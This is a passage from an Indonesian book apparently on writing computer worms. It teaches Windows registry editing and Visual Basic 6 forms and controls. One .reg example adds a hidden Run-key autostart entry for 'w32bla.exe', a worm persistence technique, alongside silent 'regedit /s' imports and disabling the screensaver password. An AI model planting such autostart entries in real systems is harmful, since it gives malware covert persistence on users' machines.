3. REG_SZ: Jenis ini adalah suatu string standar, yang digunakan untuk mewakili value yang bisa dibaca manusia.
3.2 REGISTRY EDITOR (REGEDIT)Aplikasi Registry Editor adalah suatu tool yang memudahkan kita un-tuk mengubah pengaturan pada system registry. Registry Editor secara otomatis disediakan saat pertama kali suatu sistem operasi Windows diinstal.
3.2.1 MEMBUKA APLIKASI REGISTRY EDITORAnda tidak akan menemukan shortcut-nya pada Startmenu karena aplikasi ini hanya diperuntukan bagi advanced user, yang sedikitnya mengerti tentang registry sehingga tidak menimbulkan hal-hal yang bisa mengakibatkan kerusakan, karena salah mengubah pengaturan pada registry. Untuk membuka aplikasi Registry Editor bisa dengan cara:1. Klik Startmenu2. Pilih Run, akan muncul kotak dialog Run, pada TextBox Open ketik
'regedit’ kemudian klik OK atau tekan tombol enter pada keyboard
3. Untuk menutup aplikasi Registry Editor, klik menu 'Registry’ ke-mudian klik 'Exit’.
33Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
3. R
egis
try W
indo
ws
3.2.2 LINGKUNGAN KERJA REGISTRY EDITORLingkungan kerja Registry Editor meliputi:1. Menubar yang pada versi Windows 9x dan ME terdiri dari menu
Registry, Edit, View dan Help sementara pada Windows 2000 dan XP terdiri dari File, Edit, View, Favorites dan Help
2. Explorerbar yang berupa folder tree di sisi kiri dan content list di sisi kanan.
3.3 OPERASI DASAR REGISTRY EDITORSebaiknya kita memanipulasi registry jika hal tersebut sungguh perlu untuk dilakukan, karena jika ada suatu kesalahan dalam melakukan pe-rubahan pada registry, komputer bisa menjadi tidak berfungsi dengan normal. Namun jika hal ini terjadi, Anda masih dapat mengembalikan pengaturan registry tersebut ke kondisi saat terakhir komputer sukses di jalankan dengan normal.
34Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 3. R
egistry Window
s
3.3.1 BACKUP & RESTORE REGISTRYPada Windows 95, disertakan sebuah file utility pada CD installer Windows 95 yang bernama cfgback.exe. File ini berada pada folder \Other\Misc\Cfgback.
Utility ini sanggup membuat 9 salinan registry yang berbeda, dan di-simpan dengan ekstensi *.rbk pada direktori Windows, dengan utility ini pula file *.rbk tersebut diubah kembali menjadi registry aktif.
Pada Microsoft Windows 98, system secara otomatis membuat backup registry setiap kali Windows startup, walau demikian kita bisa membuat backup secara manual dengan menggunakan perintah SCANREGW.EXE dari Startmenu, kemudian klik Run dan ke-tik 'scanregw’ pada TextBox Open.
Untuk mengubah data backup kembali menjadi registry aktif dapat menggunakan langkah-langkah berikut:1. Klik Startmenu, kemudian klik Shut Down2. Pilih opsi Restart in MS-DOS Mode, klik OK3. Pada MS-DOS Prompt, ketik: SCANREG /RESTORE
Ikuti petunjuk yang diberikan, pilih tanggal backup saat terakhir kom-puter sukses di jalankan dengan normal, dan akhiri dengan me-restart komputer.
35Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
3. R
egis
try W
indo
ws
3.3.2 EXPORT & IMPORT DATA REGISTRYUntuk mengekspor sebagian atau seluruh data registry pada suatu file text, dapat dilakukan dengan cara:1. Klik My Computer untuk mengekspor seluruh data registry, atau
klik suatu hive untuk mengekspor isi dari hive tersebut2. Pada menu Registry, klik Export Registry File, tentukan lokasi
penyimpanan file yang diekspor, kemudian ketik nama file yang diinginkan. File yang dibuat akan berekstensi *.reg, dan bisa diubah dengan menggunakan text editor apa saja.
Untuk mengimpor suatu data registry dari file yang berekstensi *.reg, dapat dilakukan dengan cara, pada menu Registry, klik Import Regis-try File. Tentukan lokasi dan nama file yang ingin diimpor, kemudian klik Open.
3.3.3 MANIPULASI KEY & VALUEUntuk menambah suatu key, dapat dilakukan dengan cara sebagai berikut:1. Klik pada hive yang akan ditambahkan key baru2. Klik Edit pada menubar, arahkan pada opsi New dan pilih Key
3. Sebuah key baru akan muncul dengan nama default seperti 'New Key #1’
4. Ketik nama yang diinginkan, dan tekan enter.
36Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 3. R
egistry Window
s
Untuk menambah suatu value, dapat dilakukan dengan cara sebagai berikut:1. Klik pada hive yang akan ditambahkan value baru2. Klik menu Edit, arahkan pada opsi New dan pilih jenis value yang
ingin ditambahkan: String Value, Binary Value, atau DWORD Value
3. Sebuah value baru akan muncul dengan nama default seperti 'New Value #1’
4. Ketik nama yang diinginkan, dan tekan enter.
Untuk mengubah data pada suatu value, dapat dilakukan dengan cara sebagai berikut:1. Klik pada value yang akan diubah datanya2. Klik menu Edit, kemudian klik Modify, sebuah kotak dialog edi-
tor akan muncul sesuai dengan jenis data value yang akan diubah. Lakukan perubahan dan tekan enter untuk mengakhirinya.
Untuk menghapus suatu key atau value, dapat dilakukan dengan cara sebagai berikut:1. Klik pada key atau value yang akan dihapus2. Klik menu Edit, kemudian klik Delete.
Untuk mengubah nama suatu key atau value, dapat dilakukan dengan cara sebagai berikut:1. Klik pada key atau value yang namanya akan diubah2. Klik menu Edit, kemudian klik Rename3. Ketik nama yang diinginkan, dan tekan enter.
37Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
3. R
egis
try W
indo
ws
3.3.4 PENCARIAN TEKS PADA KEY, VALUE ATAU DATARegistry Editor juga menyediakan fasilitas find (pencarian) yang sangat berguna apabila kita mencari suatu string tertentu pada registry, hal ini dapat dilakukan dengan cara sebagai berikut:1. Klik My Computer untuk melakukan pencarian pada seluruh data
registry, atau klik suatu hive untuk memulai pencarian dari isi hive tersebut
2. Klik menu Edit, kemudian klik Find3. Akan tampil sebuah kotak dialog Find. Ketikan suatu string yang
ingin dicari pada textbox 'Find what’, kemudian beri tanda check pada opsi Keys, Values atau Data untuk melakukan pencarian pada masing-masing opsi tersebut
4. Klik Find Next, jika Registry Editor menemukan string yang Anda
cari maka secara otomatis Registry Editor akan menyorot pada string tersebut. Untuk mengulang pencarian dengan string yang sama Anda tinggal mengklik 'Find Next’ pada menu Edit
38Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 3. R
egistry Window
s
5. Jika string yang dicari hingga string terakhir dari Keys, Values atau Data tidak juga ditemukan maka akan muncul sebuah kotak pesan sebagai berikut:
3.3.5 MENGGUNAKAN PERINTAH BARIS (COMMAND LINE)Registry Editor memiliki beberapa pilihan perintah baris untuk mempermudah otomasi dalam penggunaan batch file atau perintah langsung dari DOS prompt. Bentuk umumnya adalah:
regedit.exe [options] [filename] [regpath]
Beberapa contoh penggunaan parameter perintah regedit ini adalah :
regedit [filename] , akan mengimpor data file *.reg ke dalam registry aktif, contoh:
regedit c:\file.reg
Data pada file file.reg akan di install atau dimasukkan ke dalam registry windows. Contoh lainnya adalah
regedit /s [filename] yang akan menyembunyikan kotak dialog konfir-masi saat mengimpor file *.reg, contoh:
regedit /s c:\file.reg
39Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
3. R
egis
try W
indo
ws
Dengan perintah ini, regedit tidak akan menampilkan konfirmasi kepada user saat memasukkan data file.reg ke dalam registry. Dengan perintah :
regedit /e [filename] [regpath], data dari registry akan diekspor ke [filename] yang dimulai pada [regpath], contoh:
regedit /e file.reg HKEY_USERS\.DEFAULT
3.3.6 MEMANFAATKAN FILE REGFile reg sudah terasosiasi dengan aplikasi Registry Editor, sehingga apabila kita melakukan klik ganda pada file reg, maka file reg tersebut akan diimpor pada registry aktif, yang sebelumnya akan menampilkan sebuah kotak dialog konfirmasi. Klik Yes apabila Anda yakin untuk mengimpor file reg tersebut.
Contoh file reg berikut akan membuat sebuah String Value bernama 'winsys’ dengan data 'c:\windows\w32bla.exe’ pada lokasi registry:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur-rentVersion\Run.
Apabila value tersebut sudah ada pada lokasi registry tersebut maka data dari value tersebut akan di-overwrite dengan data yang baru.
REGEDIT4
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]"winsys"="c:\\windows\\w32bla.exe"
40Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 3. R
egistry Window
s
Contoh lain untuk membuat sebuah DWORD Value dan Binary Value:
REGEDIT4
[HKEY_CURRENT_USER\Control Panel\Desktop]"ScreenSaveUsePassword"=dword:00000000"SmoothScroll"=hex:00,00,00,00
File reg juga dapat digunakan untuk menghapus suatu key atau value pada registry aktif, dengan memberi tanda '-'. Contoh berikut ini akan menghapus key registry aktif pada HKEY_CURRENT_USER\Soft-ware\Malcode
REGEDIT4
[-HKEY_CURRENT_USER\Software\Malcode]
Contoh lain untuk menghapus sebuah value:
REGEDIT4
[HKEY_CURRENT_USER\Control Panel\Desktop]"ScreenSaveUsePassword"=-
Catatan:
Penulis menemukan suatu bug pada cara ini dimana aplikasi Registry Editor tidak akan mengeksekusi baris terakhir, jadi pastikan ada baris kosong pada akhir file, untuk itu klik bagian bawah teks terakhir, apabila kursor berpindah ke baris kosong maka cara tersebut sudah benar, jika tidak maka tempatkan kursor pada akhir teks, kemudian tekan enter untuk membuat baris baru dibawahnya.
Perhatikan pada teks awal yakni "REGEDIT4", tidak terdapat spasi diantara REGEDIT dan 4.
Perhatikan juga teks "dword" dan "hex", teks ini menggunakan lowercase (huruf kecil).
41Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
4. M
enge
nal V
isua
l Bas
ic
BAB 4MENGENAL VISUAL BASIC 6.0
Kenapa bab ini ada?
Visual Basic merupakan salah satu bahasa pemrograman yang banyak digunakan para worm writer untuk membuat worm, dengan Visual Basic pula seorang administrator sistem bisa membuat sebuah removal tool (alat pembersih) untuk worm. Bab ini akan mengenalkan kita pada tampilan, peralatan dan dasar-dasar penggunaan aplikasi Visual Basic.
42Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 4. M
engenal Visual B
asic
Visual Basic 6.0 adalah salah satu bahasa pemrograman tingkat tinggi yang berguna untuk membuat suatu aplikasi dengan cepat dan mudah. Visual Basic dibuat dalam lingkungan Micro-
soft Windows sehingga mampu berinteraksi dengan seluruh aplikasi Windows.
Didalam pengembangan program, aplikasi Visual Basic 6.0 banyak didukung fasilitas-fasilitas tambahan sehingga mampu menghasilkan program yang bermutu tinggi.
4.1 LINGKUNGAN KERJA VISUAL BASICSeperti aplikasi Windows pada umumnya, IDE (Integrated Develop-ment Environment) atau lingkungan kerja dari Visual Basic juga me-miliki menubar, toolbar dan beberapa jendela tambahan seperti Project Explorer, Form Properties Window, Layout Window, Toolbox, Form Window Dan Code Editor.
Jendela Utama Visual Basic 6.0
43Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
4. M
enge
nal V
isua
l Bas
ic
4.1.1 MENUBARMenubar adalah kumpulan instruksi yang diklasifikasikan menjadi beberapa menu lainnya.
Menubar berupa menu dropdown yang terdiri dari menu File, Edit, View, Project, Format, Debug, Run, Query, Diagram, Tools, Add-Ins, Window dan menu Help.
4.1.2 TOOLBARToolbar berfungsi sama seperti menubar, hanya saja toolbar adalah tombol-tombol shortcut yang mewakili suatu perintah tertentu dari Visual Basic.
Untuk memilih suatu proses yang akan dilakukan, Anda tinggal mengklik icon yang sesuai. Dengan adanya toolbar, pengguna akan dimudahkan dalam memilih proses yang sering dilakukan tanpa harus memilihnya melalui menubar.
4.1.3 PROJECT EXPLORERProject Explorer adalah jendela yang menampilkan semua file di dalam aplikasi Visual Basic. Setiap aplikasi dalam Visual Basic disebut den-gan istilah project, dan setiap project bisa mengandung lebih dari satu object misalnya form, module, class, dan sebagainya.
44Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 4. M
engenal Visual B
asic
4.1.4 PROPERTIES WINDOWSProperties Windows adalah jen-dela yang menampilkan semua informasi mengenai object yang terdapat pada aplikasi Visual Basic.
Properties disini diartikan sebagai sifat dari sebuah object misalnya nama, jenis huruf, warna, ukuran, dan sebagainya.
4.1.5 FORM LAYOUT WINDOWForm layout window berguna untuk me-lihat dan mengatur posisi form pada layar monitor saat form aktif.
Untuk menggunakan jendela ini tinggal mengklik icon form dan menggesernya ke posisi yang diinginkan.
4.1.6 TOOLBOXToolbox adalah sebuah "kotak peralatan" yang memuat object atau control yang dibutuhkan untuk membentuk suatu program aplikasi. Control adalah object yang menjadi perantara antara program aplikasi dan pengguna, yang kesemuanya diletakkan di dalam jendela form.
45Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
4. M
enge
nal V
isua
l Bas
ic
4.1.7 FORM WINDOWForm Window adalah tempat untuk membuat tampilan bagi program yang dibuat, Anda bisa menam-bahkan control object pada Form Window.
4.1.8 CODE WINDOWCode Window atau jendela kode adalah tempat kode dan in-struksi-instruksi pem-rograman diketikkan dalam bahasa Visual Basic.
Untuk membuka jendela kode ada beberapa cara:1. Klik View pada menubar, kemudian klik Code, atau tekan tombol
Alt+V kemudian tekan tombol C2. Klik kanan pada bidang form, kemudian klik View Code3. Klik ganda pada bidang form atau control object yang ada4. Klik kanan pada Project Explorer, kemudian klik View Code5. Klik icon View Code pada Project Explorer.
46Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 4. M
engenal Visual B
asic
4.2 PEMBUATAN APLIKASIPembuatan sebuah program aplikasi harus dikerjakan dalam sebuah project, menambahkan control object yang dibutuhkan, kemudian menulis kode program dan menjalankan program tersebut. Terakhir ,program tersebut akan di compile sehingga menjadi sebuah file executable.
Sebuah project bisa terdiri dari file project (.vbp), file form (.frm), data binary untuk setiap form (.frx), module class (.cls), module (.bas), dan resource file (.res).
4.2.1 MEMBUAT PROYEKPada saat memulai Visual Basic akan tampil jendela New Project, untuk membuat sebuah project standar klik icon Standar EXE pada tab New dan klik Open, atau klik File pada menubar kemudian pilih New Project.
47Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
4. M
enge
nal V
isua
l Bas
ic
4.2.2 MENYISIPKAN CONTROLUntuk menambahkan control object dapat dilakukan dengan cara:1. Klik ganda control object yang diinginkan pada toolbox2. Klik control object, kemudian klik (tahan) pada bidang form dan
geser mouse sampai ukuran yang diinginkan.
4.2.3 SETTING PROPERTIESSetiap form dan control sudah memiliki properties yang di-setting secara default ketika sebuah project dibuat. Untuk mengubah ukuran, letak atau jenis huruf yang digunakan bisa dilakukan dengan menga-tur properties pada object. Ada dua cara untuk melihat properties dari sebuah object:1. Klik pada object form atau Control pada Form Window, kemudian
klik pada jendela properties atau tombol Properties Window pada toolbar.
2. Klik pada jendela properties, kemudian pilih object yang dimaksud pada kotak Object pada Properties Window.
4.2.4 MENGETIK KODE PROGRAMPengetikan kode program dilakukan pada jendela kode, contoh kode
48Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 4. M
engenal Visual B
asic
program yang ditulis pada jendela kode adalah sebagai berikut:
4.2.5 MENYIMPAN PROGRAMMenyimpan program dapat dilakukan dengan beberapa cara, yaitu:1. Tekan tombol Ctrl+S2. Klik tombol Save pada toolbar3. Klik File pada menubar kemudian pilih Save.
4.2.6 MENJALANKAN PROGRAMUntuk melihat hasil dari program aplikasi yang telah dibuat, dapat dilakukan dengan menjalankan atau mengeksekusi program tersebut dengan cara:1. Tekan tombol F5 pada keyboard2. Klik Run pada menubar kemudian pilih Start3. Klik icon Start (u) pada toolbar.
49Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
4. M
enge
nal V
isua
l Bas
ic
4.2.7 KOMPILASI PROGRAM MENJADI EXEKompilasi adalah tahap terakhir dalam pembuatan sebuah program aplikasi, dimana program yang telah selesai akan dibuat menjadi sebuah file executable, yang dapat dieksekusi tanpa menggunakan program aplikasi Visual Basic. Untuk mengkompilasi dapat dilakukan dengan cara:1. Klik File pada menubar, kemudian klik Make Nama_Proyek.Exe
Akan tampil kotak dialog Make Project,
2. Isi textbox File name dengan nama file Exe yang akan dibuat, default-nya adalah nama dari project Anda. Pilih direktori tempat file tersebut akan diletakkan nanti. Klik OK. Tunggu sampai proses selesai.
51Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
5. O
bjec
t For
m d
an C
ontro
l
BAB 5OBJECT FORM DAN CONTROL
Kenapa bab ini ada?
Dalam mempelajari aplikasi Visual Basic tak terlepas dari istilah object dan control, maka untuk melanjutkan bab sebelumnya bab ini akan membahas lebih jauh mengenai object dan control yang terdapat pada aplikasi Visual Basic.
Selain mengenal beberapa object dan control bab ini juga memuat beberapa event dan properties yang sering digunakan pada object dan control tersebut.
52Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 5. O
bject Form dan C
ontrol
Object adalah segala sesuatu yang ada pada program. Setiap object pada Visual Basic didefinisikan oleh suatu class. Object bisa berupa form dan control, jadi bisa dikatakan bahwa form
dan control adalah suatu class.
Class adalah definisi formal suatu object dan berfungsi sebagai tem-plate dari suatu object yang dibuat saat run-time, class mendefinisikan setiap properti dan metode untuk mengontrol tindakan object.
Properti adalah penanda suatu object yang mengatur sifat-sifat object tersebut seperti nama, jenis huruf yang digunakan, warna, ukuran dan lain sebagainya. Sedangkan metode disini berarti suatu procedure yang dikenakan pada suatu object, metode memanfaatkan object untuk melakukan suatu kejadian tertentu.
Pada saat kita membuat project baru, Visual Basic menyediakan control standar untuk digunakan pada form, control standar tersebut disebut control intrinsic, control ini juga merupakan class-class yang sudah tersedia.
Bab ini akan membahas tentang properti dan event atas form dan control-con-trol intrinsic tersebut.
Event adalah suatu ke-jadian yang direspon oleh object, seperti klik mouse, klik tombol keyboard dan lain sebagainya.
Perlu Anda ketahui bahwa event suatu control bisa dieksekusi oleh control lainnya.
53Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
5. O
bjec
t For
m d
an C
ontro
l
5.1 FORMForm berfungsi sebagai peranta-ra antara program dan user. Saat kita membuat project (Standard EXE) baru, Visual Basic secara otomatis memberikan sebuah form bernama Form1. Dibawah ini beberapa contoh properti yang biasanya digunakan untuk merancang suatu form:
PROPERTI KETERANGAN
(Name) Nama form biasanya diberi prefix frm
BackColor Warna latar belakang form
BorderStyle Model
Caption Titel atau judul form
ControlBox Menampilkan atau menyembunyikan tombol control (minimize, restore/ maximize, close) pada form
Enabled Jika bernilai true, mengijinkan form untuk merespon event mouse dan keyboard. Jika bernilai false, form akan menolak event tersebut.
Font Mengatur jenis, model dan ukuran huruf
Height Tinggi form
Icon Menetapkan icon untuk form tersebut atau aplikasi apabila form tersebut terpilih sebagai Startup Object.
MaxButton Jika bernilai false, maka tombol maximize menjadi disable (tidak aktif)
MDIChild Menetapkan apakah form tersebut MDI (Multiple Document Interface) atau tidak.
MinButton Jika bernilai false, maka tombol minimize menjadi ti-dak aktif
Picture Memasukan object gambar pada form.
54Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 5. O
bject Form dan C
ontrol
PROPERTI KETERANGAN
Visible Mengatur apakah form akan ditampilkan pada user atau menyembunyikannya.
ShowInTaskbar Mengatur apakah form akan ditampilkan pada taskbar atau menyembunyikannya.
StartUpPosition Posisi form pada layar monitor, saat di-load
Tag Digunakan sebagai kontainer untuk data dari control yang ingin disimpan
Width Lebar form
WindowState Mengatur ukuran tampilan form saat di-load apakah minimize atau maximize.
Event adalah kejadian yang berpengaruh langsung pada form, contoh beberapa event yang biasanya dimanfaatkan:
EVENT SAAT TERJADI
Activate Form terpilih dan menjadi aktif
Click User mengklik pada bidang form
DblClick User melakukan double click pada bidang form
Load Form diaktifkan untuk pertama kali atau sesaat sebelum ditampilkan
Unload Form di non-aktifkan atau sesaat sebelum mengakhiri form tersebut
Terminate Form diakhiri, baik mengikuti procedure atau diluar dari procedure yang ada.
5.2 KONTROLControl adalah object yang ditempatkan pada bidang form sebagai perantara program dan user baik sebagai media masukan atau keluaran.
55Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
5. O
bjec
t For
m d
an C
ontro
l
5.2.1 PICTUREBOXDengan control PictureBox kita bisa menempatkan object gambar pada form. Dibawah ini beberapa contoh properti yang biasanya digunakan untuk control PictureBox:
PROPERTI KETERANGAN
(Name) Nama PictureBox, biasanya diberi prefix pic
Align Pengaturan posisi PictureBox pada form
AutoSize Jika true, maka ukuran PictureBox akan menyesuaikan object gambar didalamnya.
BackColor Warna latar belakang PictureBox
BorderStyle Mengatur garis tepi pada form
Height Tinggi PictureBox
Left Jarak PictureBox pada batas tepi kiri form
Picture Memasukan object gambar pada PictureBox.
TabIndex Urutan perpindahan tabulasi
TabStop Jika false, maka control tersebut tidak akan terfokus
Width Lebar PictureBox.
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:
EVENT SAAT TERJADI
Change Terjadi perubahan pada PictureBox, misalnya pada properti Picture
Click User mengklik pada bidang PictureBox
DblClick User melakukan double click pada bidang PictureBox.
56Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 5. O
bject Form dan C
ontrol
5.2.2 LABELControl Label digunakan untuk membuat label pada bidang form yang biasanya berfungsi sebagai pemberi keterangan. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI KETERANGAN
(Name) Nama Label, biasanya diberi prefix lbl
Alignment Mengatur perataan teks pada Label
AutoSize Jika true, maka ukuran Label akan menyesuaikan pada ukuran teks.
BackColor Warna latar belakang Label
BackStyle Jika transparent, maka latar belakang Label menjadi transparan.
BorderStyle Mengatur garis tepi pada Label
Caption Mengatur teks yang akan ditampilkan Label
Font Mengatur jenis, model dan ukuran huruf
ForeColor Mengatur warna teks pada Label
Height Tinggi Label
ToolTipText Mengatur keterangan yang akan ditampilkan secara pop-up saat pointer berada pada Label.
Visible Jika false, maka Label tidak ditampilkan
Width Lebar Label.
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:
EVENT SAAT TERJADI
Change Terjadi perubahan pada Label, misalnya pada properti Caption
Click User mengklik pada bidang Label
DblClick User melakukan double click pada bidang Label.
57Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
5. O
bjec
t For
m d
an C
ontro
l
5.2.3 TEXTBOXControl TextBox digunakan sebagai tempat masukan atau keluaran data berupa teks. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI KETERANGAN
(Name) Nama TextBox, biasanya diberi prefix txt
Alignment Mengatur perataan teks pada TextBox
Height Tinggi TextBox
MaxLength Mengatur batas jumlah karakter yang bisa dimasuk-kan pada TextBox
MultiLine Jika true, maka memungkinkan untuk menggu-nakan teks lebih dari satu baris.
PasswordChar Mengatur karakter untuk password
ScrollBars Mengatur scrollbar pada TextBox
Text Mengatur teks yang akan ditampilkan TextBox
ToolTipText Mengatur keterangan yang akan ditampilkan secara pop-up saat pointer berada pada TextBox.
Visible Jika false, maka TextBox tidak ditampilkan
Width Lebar TextBox.
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:
EVENT SAAT TERJADI
Change Terjadi perubahan pada TextBox, misalnya pada properti Text
Click User mengklik pada bidang TextBox
DblClick User melakukan double click pada bidang TextBox.
58Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 5. O
bject Form dan C
ontrol
5.2.4 FRAMEControl Frame biasanya digunakan untuk mengelompokkan control dalam suatu area frame, dimana lokasi control (left, right, top) yang berada didalamnya akan menyesuaikan dengan lingkungan frame tersebut. Dibawah ini beberapa contoh properti yang biasanya digu-nakan:
PROPERTI KETERANGAN
(Name) Nama Frame, biasanya diberi prefix fra
Caption Mengatur teks judul yang akan ditampilkan Frame
Height Tinggi Frame
Width Lebar Frame.
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:
EVENT SAAT TERJADI
Click User mengklik pada bidang Frame
DblClick User melakukan double click pada bidang Frame.
5.2.5 COMMANDBUTTONControl CommandButton adalah control yang berupa tombol, yang digunakan untuk mengeksekusi suatu instruksi tertentu. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI KETERANGAN
(Name) Nama CommandButton, biasanya diberi prefix cmd
BackColor Warna latar belakang CommandButton apabila properti Style diatur pada opsi graphical
Caption Mengatur teks yang akan ditampilkan Command-Button.
DisabledPicture Mengatur gambar untuk latar belakang Com-mandButton saat properti Enabled adalah false dan properti Style diatur pada opsi graphical
59Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
5. O
bjec
t For
m d
an C
ontro
l
DownPicture Mengatur gambar untuk latar belakang Command-Button pada saat posisi tombol diklik, dengan syarat properti Enabled adalah false dan properti Style diatur pada opsi graphical
Enabled Jika bernilai true, mengijinkan CommandButton untuk merespon event mouse dan keyboard. Jika bernilai false, CommandButton akan menolak event tersebut.
Font Mengatur jenis, model dan ukuran huruf
Height Tinggi CommandButton
Picture Mengatur gambar untuk latar belakang Command-Button jika properti Enabled adalah true dan properti Style diatur pada opsi graphical
TabIndex Urutan perpindahan tabulasi
TabStop Jika false, maka control tersebut tidak akan terfokus
Width Lebar CommandButton.
Dibawah ini adalah event yang selalu dimanfaatkan:
EVENT SAAT TERJADI
Click User mengklik pada CommandButton
5.2.6 CHECKBOXControl CheckBox adalah control yang berupa kotak pilihan, digunakan untuk informasi masukan yang dapat bernilai true atau false. Di bawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI KETERANGAN
(Name) Nama CheckBox, biasanya diberi prefix chk
Alignment Mengatur perataan kotak opsi, memposisikan disebelah kiri atau disebelah kanan CheckBox
BackColor Warna latar belakang CheckBox
60Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 5. O
bject Form dan C
ontrol
Caption Mengatur teks yang akan ditampilkan Check-Box
Enabled Jika bernilai true, mengijinkan CheckBox untuk merespon event mouse dan keyboard. Jika bernilai false, CheckBox akan menolak event tersebut
Font Mengatur jenis, model dan ukuran huruf
ForeColor Mengatur warna teks pada CheckBox
Height Tinggi CheckBox
Value Jika bernilai checked maka berarti kotak opsi dipilih (ditandai dengan tanda centang pada kotak opsi).
Width Lebar CheckBox.
Di bawah ini adalah event yang selalu dimanfaatkan:
EVENT SAAT TERJADI
Click User mengklik pada CheckBox
5.2.7 OPTIONBUTTONControl OptionButton adalah control yang berupa pilihan, digunakan untuk informasi masukan. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI KETERANGAN
(Name) Nama OptionButton, biasanya diberi prefix opt
Alignment Mengatur perataan kotak opsi, memposisikan disebe-lah kiri atau disebelah kanan OptionButton
BackColor Warna latar belakang OptionButton
Caption Mengatur teks yang akan ditampilkan OptionButton
Enabled Jika bernilai true, mengijinkan OptionButton untuk merespon event mouse dan keyboard. Jika bernilai false, OptionButton akan menolak event tersebut
61Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
5. O
bjec
t For
m d
an C
ontro
l
Font Mengatur jenis, model dan ukuran huruf
ForeColor Mengatur warna teks pada OptionButton
Height Tinggi OptionButton
Value Jika bernilai true maka berarti kotak opsi dipilih (ditan-dai dengan tanda titik pada opsi).
Width Lebar OptionButton.
Dibawah ini adalah event yang selalu dimanfaatkan:
EVENT SAAT TERJADI
Click User mengklik pada OptionButton
DblClick User melakukan double click pada OptionButton.
5.2.8 COMBOBOXControl ComboBox adalah control yang biasanya berupa suatu daftar pilihan dan digunakan untuk informasi masukan. Dibawah ini be-berapa contoh properti yang biasanya digunakan:
PROPERTI KETERANGAN
(Name) Nama ComboBox, biasanya diberi prefix cbo
BackColor Warna latar belakang ComboBox
Enabled Jika bernilai true, mengijinkan ComboBox untuk merespon event mouse dan keyboard. Jika bernilai false, ComboBox akan menolak event tersebut
Font Mengatur jenis, model dan ukuran huruf
ForeColor Mengatur warna teks pada ComboBox
Height Tinggi ComboBox
Locked Jika true, maka data pada ComboBox bisa diubah saat run-time
Sorted Mengurutkan pilihan yang ada pada ComboBox
Text Isi ComboBox
Width Lebar ComboBox.
62Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 5. O
bject Form dan C
ontrol
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:
EVENT SAAT TERJADI
Change Terjadi perubahan pada ComboBox
Click User mengklik pada ComboBox
DblClick User melakukan double click pada ComboBox
GotFocus ComboBox mendapat fokus
LostFocus Sesaat sebelum fokus berpindah dari ComboBox.
5.2.9 LISTBOXControl ListBox adalah control berupa kotak daftar berisi pilihan-pilihan, digunakan untuk informasi masukan. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI KETERANGAN
(Name) Nama ListBox, biasanya diberi prefix lst
BackColor Warna latar belakang ListBox
Columns Mengatur jumlah kolom pada ListBox
Enabled Jika bernilai true, mengijinkan ListBox untuk merespon event mouse dan keyboard. Jika bernilai false, ListBox akan menolak event tersebut
Font Mengatur jenis, model dan ukuran huruf
ForeColor Mengatur warna teks pada ListBox
Height Tinggi ListBox
List Daftar pilihan yang ditampilkan pada ListBox
Sorted Mengurutkan pilihan yang ada pada ListBox
Style Jika bernilai checkbox, pemilihan bisa lebih dari dua opsi dengan memberi centang pada opsi-opsi yang dipilih
Width Lebar ListBox.
63Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
5. O
bjec
t For
m d
an C
ontro
l
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:
EVENT SAAT TERJADI
Click User mengklik pada ListBox
DblClick User melakukan double click pada ListBox
GotFocus ListBox mendapat fokus
ItemCheck Saat sebuah opsi dipilih dengan memberikan tanda centang
LostFocus Sesaat sebelum fokus berpindah dari ListBox.
5.2.10 HSCROLLBARControl HScrollBar atau horizontal scrollbar adalah control masukan yang digunakan sebagai input atau indikator kuantitas dalam bentuk horisontal. Dibawah ini beberapa contoh properti yang biasanya digu-nakan:
PROPERTI KETERANGAN
(Name) Nama HScrollBar, biasanya diberi prefix hsb
